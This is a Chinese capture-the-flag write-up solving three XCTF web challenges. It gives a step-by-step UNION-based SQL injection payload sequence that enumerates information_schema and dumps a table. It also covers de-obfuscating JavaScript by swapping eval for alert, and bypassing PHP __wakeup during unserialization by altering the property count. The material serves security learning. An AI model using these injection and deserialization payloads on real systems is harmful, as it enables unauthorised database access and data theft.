攻防世界web高手进阶区Newscenter(SQL注入联合查询)|NaNNaNNaNNaN-Batman|unserialize3题解
攻防世界web高手进阶区Newscenter(SQL注入联合查询)|NaNNaNNaNNaN-Batman|unserialize3题解
Newscenter
前置知识
MySQL中information_scheme库
SCHEMATA:SCHEMA_NAME
TABLES:TABLE_SCHEMA, TABLE_NAME
COLUMNS:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
MySQL中UNION规则
1.UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔。
2.UNION中的每个查询必须包含相同的列。
3.UNION会从查询结果集中自动去除了重复行。
4.利用前提:页面上有显示位。
步骤
1.判断列数:
order by n
#列数小于n时回显正常
2.判断显示位(后文皆以列数为3为例)
union select 1,2,3
3.获取当数据库名称和当前连接数据库的用户
union select 1,2,database()
union select 1,2,user()
4.列出所有数据库
#limit 一个一个打印出来库名
union select 1,2,schema_name from information_schema.schemata limit 0,1
#group_concat 一次性全部显示
union select 1,2,group_concat(schema_name) from information_schema.schemata
5.列出(数据库:test)中所有的表
#limit 一个一个打印出来字段名
union select 1,2,table_name from information_schema.tables where table_schema=‘test’ limit 0,1
#group_concat 一次性全部显示
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x674657374
#注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。(在20211126~20211127的NCTF上也有一道需要绕过单引号的题)
6.列出(数据库:test;表:admin )中所有的字段
#limit 一个一个打印出来
union select 1,2,column_name from information_schema.columns where
table_schema=‘test’ and table_name=‘admin’ limit 0,1
#group_concat 一次性全部显示
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x74657374 and table_name=0x61646d696e
7.列出(数据库:test;表:admin;字段:username,passwd)中的数据
#limit 一个一个打印出来
union select 1,2,(select username,passwd from test.admin limit 0,1)
#group_concat 一次性全部显示
union select 1,2,(select group_concat(concat(username,0x20,passwd))) from test.admin
#0x20对应的为' '方便区分两数据
题目详解
进入题目后发现是SQL中的UNION联合查询。首先构造payload来判断列数:
1' order by n #
直到n=4时回显错误,故列长为3。
构造payload判断显示位:
union select 1,2,3
列出所有数据库:
1' union select 1,2,group_concat(schema_name) from information_schema.schemata #
回显为information_schema和news。
列出(数据库:news)中所有的表:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news' #
回显为news和secret_table。
列出(数据库:news;表:secret_table )中所有的字段:
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='secret_table' #
回显为id和fl4g,显然flag在fl4g中。
列出(数据库:news;表:secret_table;字段:fl4g)中的数据
union select 1,2,(select group_concat(concat(fl4g))) from news.secret_table #
得到flag。
NaNNaNNaNNaN-Batman
前置知识
eval() 函数用来执行一个字符串表达式,并返回表达式的值。
alert()函数可创造一个弹窗,并显示表达式。
解题步骤
下载附件,解压,得到一个名称为web100无后缀的文件,建议是不急着加后缀名啥的,直接用记事本直接打开,可得代码如下:
看不出来代码的用途,但从script可看出和script有关。尝试在浏览器中打开,发现只有一个输入框。
在记事本中将eval()改为alert()重新在浏览器中打开得到:
整理得:
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null)
{
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
发现其中五个判断:
1.一共有16个字符
2.开头必须是be0f23
3.必须含有233ac和c7be9
4.必须以e98aa结束
可构造payload:be0f233ac7be98aa
最后再将代码的alert()改回eval(),在提交框中输入payload即可得到flag。
unserialize3
前置知识
php魔术方法
php魔术方法下列方法名被认为是魔术方法: __construct() 、 __destruct() 、 __call() 、 __callStatic() 、 __get() 、 __set() 、 __isset() 、 __unset() 、 __sleep() 、 __wakeup() 、 __serialize() 、 __unserialize() 、 __toString() 、 __invoke() 、 __set_state() 、 __clone() 、 __debugInfo() 。
注意:
1.除了 __construct(),__destruct() ,和 __clone() 之外的所有魔术方法都必须声明为 public,否则会发出 E_WARNING。 在 PHP 8.0.0 之前没有为魔术方法 __sleep()、 __wakeup() 、__serialize() 、__unserialize() 、__set_state() 发出诊断信息。
2.如果定义魔术方法时使用类型声明,它们必须与本文档中描述的签名相同,否则会发出致命错误。 在 PHP 8.0.0 之前,不会发出诊断信息。 然而,__construct() 和__destruct() 不能声明返回类型, 否则会发出致命错误。
__sleep()和__wakeup()
public __sleep():array
public __wakeup():void
serialize()函数会检查是否存在__sleep()函数,如果存在,该方法会被优先调用。
与之相反,unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。
具体的魔术方法可参考:https://www.php.net/manual/zh/language.oop5.magic.php
__wakeup()函数的漏洞
__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。譬如:O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。
题目详解
访问目标网址,根据__wakeup()魔术方法和题目名字,可以猜到这里是用到了php反序列化
将代码copy并进行补全
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
?code=
我们知道unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源。 所以我们需要绕过__wakeup()
构造脚本:
<?php
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
运行得到O:4:"xctf":1:{s:4:"flag";s:3:"111";},于是利用__wakeup()的漏洞,将1改为2,并将其作为code的值传入即可得到flag。